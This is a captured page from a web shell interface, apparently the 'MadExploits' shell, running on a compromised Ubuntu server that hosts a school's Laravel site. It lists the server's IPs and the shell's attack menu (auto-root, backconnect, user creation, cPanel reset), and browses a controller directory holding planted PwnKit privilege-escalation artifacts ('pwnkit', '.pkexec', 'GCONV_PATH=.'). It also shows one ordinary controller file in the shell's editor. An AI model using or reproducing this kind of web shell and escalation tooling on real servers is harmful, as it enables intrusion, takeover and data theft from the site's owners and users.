Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
gandhi-school /
app /
Http /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxrwxr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxrwxr-x
frontend
[ DIR ]
drwxrwxr-x
.mad-root
0
B
-rw-r--r--
AlbumImageController.php
2.22
KB
-rw-rw-r--
Controller.php
361
B
-rw-rw-r--
DownloadController.php
125
B
-rw-rw-r--
ExecutiveCommitteeTermControll...
11.92
KB
-rw-rw-r--
HomeController.php
467
B
-rw-rw-r--
PtaTermController.php
11.76
KB
-rw-rw-r--
PublicationController.php
9.12
KB
-rw-rw-r--
RecentNoticeController.php
6.35
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ExecutiveCommitteeTermController.php
<?php namespace App\Http\Controllers; use App\Http\Requests\CommitteRequest; use App\Models\Commitee; use App\Models\CommitteeType; use App\Models\ExecutiveCommitteeTerm; use App\Http\Requests\StoreExecutiveCommitteeTermRequest; use App\Http\Requests\UpdateExecutiveCommitteeTermRequest; use App\Models\MasterCommittee; use App\Models\Member; use App\Http\Requests\UpdateCommitteRequest; use Illuminate\Http\Response; class ExecutiveCommitteeTermController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { try { $ec_terms = ExecutiveCommitteeTerm::where('type', 'smc')->latest()->get(); $subCommittees = CommitteeType::where('isSubCommittee', true)->get(); return view('admin.executive_committee_term.index', compact('ec_terms', 'subCommittees')); } catch (\Throwable $th) { throw $th; return redirect()->back()->with('error', "Something Went Wrong"); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { return view('admin.executive_committee_term.create'); } /** * Store a newly created resource in storage. * * @param \App\Http\Requests\StoreExecutiveCommitteeTermRequest $request * @return \Illuminate\Http\Response */ public function store(StoreExecutiveCommitteeTermRequest $request) { //dd($request); try { $ec_term = ExecutiveCommitteeTerm::create($request->validated()); if ($ec_term->status) { ExecutiveCommitteeTerm::where( 'id', '!=', $ec_term->id )->where('type', $request->type)->update(['status' => false]); } if ($request->type === 'smc') { return redirect()->route('ec_terms.index')->with('success', 'School Management Commitees Term created successfully.'); } else { return redirect()->route('pta_terms.index')->with('success', 'Parent Teacher Association Term created successfully.'); } } catch (\Throwable $th) { // return $th; return redirect()->back()->with('error', 'Something went wrong. Please try again.'); } } /** * Display the specified resource. * * @param \App\Models\ExecutiveCommitteeTerm $executiveCommitteeTerm * @return \Illuminate\Http\Response */ public function show(ExecutiveCommitteeTerm $executiveCommitteeTerm) { return view('admin.executive_committee_term.show', compact('executiveCommitteeTerm')); } /** * Show the form for editing the specified resource. * * @param \App\Models\ExecutiveCommitteeTerm $executiveCommitteeTerm * @return \Illuminate\Http\Response */ public function edit(ExecutiveCommitteeTerm $ec_term) { return view('admin.executive_committee_term.edit', compact('ec_term')); } /** * Update the specified resource in storage. * * @param \App\Http\Requests\UpdateExecutiveCommitteeTermRequest $request * @param \App\Models\ExecutiveCommitteeTerm $executiveCommitteeTerm * @return \Illuminate\Http\Response */ public function update(UpdateExecutiveCommitteeTermRequest $request, ExecutiveCommitteeTerm $ec_term) { try { //dd($request->validated()); $ec_term->update($request->validated()); if ($ec_term->status) { ExecutiveCommitteeTerm::where( 'id', '!=', $ec_term->id )->where('type', $request->type)->update(['status' => false]); } return redirect()->route('ec_terms.index')->with('success', 'School Management Commitees Term updated successfully.'); } catch (\Throwable $th) { return redirect()->back()->with('error', 'Something went wrong. Please try again.'); } } /** * Remove the specified resource from storage. * * @param \App\Models\ExecutiveCommitteeTerm $executiveCommitteeTerm * @return \Illuminate\Http\Response */ public function destroy(ExecutiveCommitteeTerm $executiveCommitteeTerm) { try { $executiveCommitteeTerm->delete(); return redirect()->route('ec_terms.index')->with('success', 'Executive Committee Term deleted successfully.'); } catch (\Throwable $th) { return redirect()->back()->with('error', 'Something went wrong. Please try again.'); } } public function CreateExecutiveCommittee($executiveCommitteeTermId) { try { $executiveCommitteeTerm = ExecutiveCommitteeTerm::find($executiveCommitteeTermId); $committee_types = CommitteeType::all(); $members = Member::whereIn('type_status', [1, 2])->orderBy('name')->get(); $master_committees = MasterCommittee::orderBy('rank')->get(); $ec_terms = ExecutiveCommitteeTerm::all(); $committee = Commitee::with('committee_types', 'members', 'master_committees') ->where([ 'committee_types_id' => 1, 'ec_terms_id' => $executiveCommitteeTermId ]) ->get() ->sortBy('master_committees.rank') ->sortBy('status'); return view('admin.executive_committee_term.CreateExecutiveCommittee', compact('executiveCommitteeTerm', 'committee_types', 'members', 'master_committees', 'ec_terms', 'committee')); } catch (\Throwable $th) { throw $th; } } public function EditExecutiveCommittee($committee_id) { try { $editCommittee = Commitee::find($committee_id); $committee_types = CommitteeType::all(); $members = Member::whereIn('type_status', [1, 2])->orderBy('name')->get(); $master_committees = MasterCommittee::orderBy('rank')->get(); $ec_terms = ExecutiveCommitteeTerm::all(); $committee = Commitee::with('committee_types', 'members', 'master_committees') ->where([ 'committee_types_id' => 1, 'ec_terms_id' => $editCommittee->ec_terms_id ]) ->get() ->sortBy('master_committees.rank') ->sortBy('status'); $executiveCommitteeTerm = ExecutiveCommitteeTerm::findOrFail($editCommittee->ec_terms_id); return view('admin.executive_committee_term.EditExecutiveCommittee', compact('executiveCommitteeTerm', 'committee_types', 'members', 'master_committees', 'ec_terms', 'committee', 'editCommittee')); } catch (\Throwable $th) { throw $th; } } public function StoreExecutiveCommittee(CommitteRequest $request) { try { $input['members_id'] = $request->members_id; $input['master_committees_id'] = $request->master_committees_id; $input['committee_types_id'] = $request->committee_types_id; $input['start_date'] = $request->start_date; $input['end_date'] = $request->end_date; $input['remarks'] = $request->remarks; $input['status'] = $request->status; $input['display_order'] = $request->display_order; $input['ec_terms_id'] = $request->ec_terms_id; Commitee::create($input); return redirect()->back() //->route('ec_terms.createExecutiveCommittee',$input['ec_terms_id']) ->with('success', 'Committee Member Posted Successfully'); } catch (\Exception $e) { // return $e; return redirect()->route('ec_terms.ExecutiveCommmitteeList', $input['ec_terms_id'])->with('error', 'Committee store failed !'); } } public function UpdateExecutiveCommittee(UpdateCommitteRequest $request, $committee_id) { try { $committee = Commitee::findOrFail($committee_id); $input['id'] = $request->id; $input['members_id'] = $request->members_id; $input['master_committees_id'] = $request->master_committees_id; $input['committee_types_id'] = $request->committee_types_id; $input['start_date'] = $request->start_date; $input['end_date'] = $request->end_date; $input['remarks'] = $request->remarks; $input['status'] = $request->status; $input['display_order'] = $request->display_order; $input['ec_terms_id'] = $request->ec_terms_id; $committee->update($input); $executiveCommitteeTerm = ExecutiveCommitteeTerm::findOrFail($committee->ec_terms_id); if ($input['committee_types_id'] == 1) { return redirect()->route('ec_terms.createExecutiveCommittee', $executiveCommitteeTerm) ->with('success', 'Committee updated successfully'); } else { return redirect()->route('ec_terms.createSubExecutiveCommittee', [$executiveCommitteeTerm->id, $input['committee_types_id']]) ->with('success', 'Committee updated successfully'); } } catch (\Exception $e) { throw $e; // Redirect back with error message return redirect() ->back() ->with('error', 'Something went wrong'); } } public function CreateSubExecutiveCommittee($ec_terms_id, $committee_types_id) { try { $executiveCommitteeTerm = ExecutiveCommitteeTerm::findOrFail($ec_terms_id); $committee_types = CommitteeType::all(); $subCommittee = CommitteeType::findOrFail($committee_types_id); $members = Member::whereIn('type_status', [1, 2])->orderBy('name')->get(); $master_committees = MasterCommittee::orderBy('rank')->get(); $ec_terms = ExecutiveCommitteeTerm::all(); $committee = Commitee::with('committee_types', 'members', 'master_committees') ->where([ 'committee_types_id' => $committee_types_id, 'ec_terms_id' => $ec_terms_id ]) ->get() ->sortBy('master_committees.rank') ->sortBy('status'); return view('admin.executive_committee_term.CreateSubExecutiveCommittee', compact('executiveCommitteeTerm', 'committee_types', 'members', 'master_committees', 'ec_terms', 'committee', 'subCommittee')); } catch (\Throwable $th) { throw $th; } } public function EditSubExecutiveCommittee($committee_id) { try { $editCommittee = Commitee::find($committee_id); $committee_types = CommitteeType::all(); $members = Member::whereIn('type_status', [1, 2])->orderBy('name')->get(); $master_committees = MasterCommittee::orderBy('rank')->get(); $ec_terms = ExecutiveCommitteeTerm::all(); $committee = Commitee::with('committee_types', 'members', 'master_committees') ->where([ 'committee_types_id' => $editCommittee->committee_types_id, 'ec_terms_id' => $editCommittee->ec_terms_id ]) ->get() ->sortBy('master_committees.rank') ->sortBy('status'); $executiveCommitteeTerm = ExecutiveCommitteeTerm::findOrFail($editCommittee->ec_terms_id); $subCommittee = CommitteeType::findOrFail($editCommittee->committee_types_id); return view('admin.executive_committee_term.EditSubExecutiveCommittee', compact('subCommittee', 'executiveCommitteeTerm', 'committee_types', 'members', 'master_committees', 'ec_terms', 'committee', 'editCommittee')); } catch (\Throwable $th) { throw $th; } } }
Close